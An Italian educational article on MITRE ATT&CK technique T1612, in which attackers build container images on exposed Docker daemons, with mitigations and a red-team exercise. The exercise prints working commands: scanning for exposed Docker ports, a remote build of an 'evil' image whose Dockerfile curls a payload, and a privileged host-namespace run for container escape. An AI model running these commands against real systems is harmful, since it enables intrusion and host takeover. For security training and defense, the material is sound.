Costruzione Immagini Container sull'Host: Build Image on Host (T1612)
La tecnica T1612 - Build Image on Host descrive un vettore di Defense Evasion (tattica TA0005) in cui l'attaccante costruisce un'immagine container direttamente sull'host compromesso, aggirando i controlli che monitorano il pull di immagini malevole da registry pubblici.
Il meccanismo sfrutta l'endpoint di build esposto dal Docker daemon: una richiesta remota alla Docker API include un Dockerfile che parte da un'immagine base innocua (tipicamente alpine, debian:slim o ubuntu) scaricata da un registry legittimo, per poi stratificare payload malevoli scaricati dal server C2 durante la fase di build. Il risultato è un'immagine custom mai comparsa in nessun registry pubblico, quindi assente da qualsiasi threat feed basato su hash o reputazione.
L'attaccante concatena poi la tecnica con Deploy Container per l'esecuzione effettiva del payload. La pericolosità risiede nell'invisibilità: gli scanner di supply chain container (Trivy, Clair, Anchore) analizzano immagini presenti nei registry, ma un'immagine costruita on-the-fly sull'host sfugge a questo perimetro. Se la base image è già in cache locale, nemmeno il traffico verso Docker Hub viene generato.
La tecnica non ha attribuzioni MITRE a gruppi APT specifici, ma è ampiamente osservata in campagne di cryptomining opportunistico contro Docker daemon esposti sulla porta 2375 e in scenari di lateral movement post-compromise in cluster Kubernetes. Le 4 mitigazioni documentate coprono privileged account management, network segmentation, restrizione dell'accesso alla Docker API e auditing continuo delle immagini deployate.
L'esercizio red team parte dalla ricognizione di Docker daemon esposti. La scansione con nmap -p 2375,2376,2377 --open (open source) su range interni identifica endpoint API non autenticati; una richiesta a curl -s http://target:2375/version conferma l'esposizione senza TLS.
Con l'endpoint accessibile, il payload di attacco si costruisce interamente via API. Il Dockerfile minimalista pull-and-poison assume questa forma:
FROM alpine:latest
RUN apk add --no-cache curl && curl -o /tmp/payload
La build remota si innesca inviando il contesto tar-gzipped alla Docker API. Il comando canonico è docker -H tcp://target:2375 build -t evil:latest . dalla workstation dell'operatore, oppure via chiamata diretta POST /build con il tar del contesto nel body. L'immagine risultante appare in docker images sull'host con un nome plausibile (es. nginx-patched, internal-tools).
Per scenari Kubernetes, l'equivalente sfrutta pod con socket Docker montato (/var/run/docker.sock) o accesso al containerd socket. Un pod privilegiato può eseguire ctr -n k8s.io images pull seguito da ctr run per bypassare completamente il kubelet e i suoi admission controller.
La fase di deployment successiva usa la stessa API: docker -H tcp://target:2375 run -d --privileged --pid=host --net=host evil:latest. I flag --privileged, --pid=host e la mount di / come volume permettono container escape immediato verso l'host underlying.
Per la simulazione lab-safe, consiglio di riprodurre lo scenario con Atomic Red Team (open source), che include il test T1612 con Dockerfile controllato, e di combinarlo con Kubernetes Goat (open source) o DVKA - Damn Vulnerable Kubernetes App (open source) per scenari cluster-level.
La validazione dell'exploit sul lato attaccante richiede logging del traffico di build: mitmproxy (open source) intercettato tra client e daemon consente di osservare la stream tar del contesto e i layer intermedi. Per il post-exploitation su container privilegiati, CDK - Container DoomsdayKit (open source) e DEEPCE (open source) automatizzano l'enumerazione di escape path (cgroup release_agent, docker.sock esposti, capabilities eccessive).
Documentare nel report: versione del Docker Engine, presenza di AppArmor/SELinux, esposizione della porta 2375/2376, e se il registry allowlist (M1026) fosse configurato.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo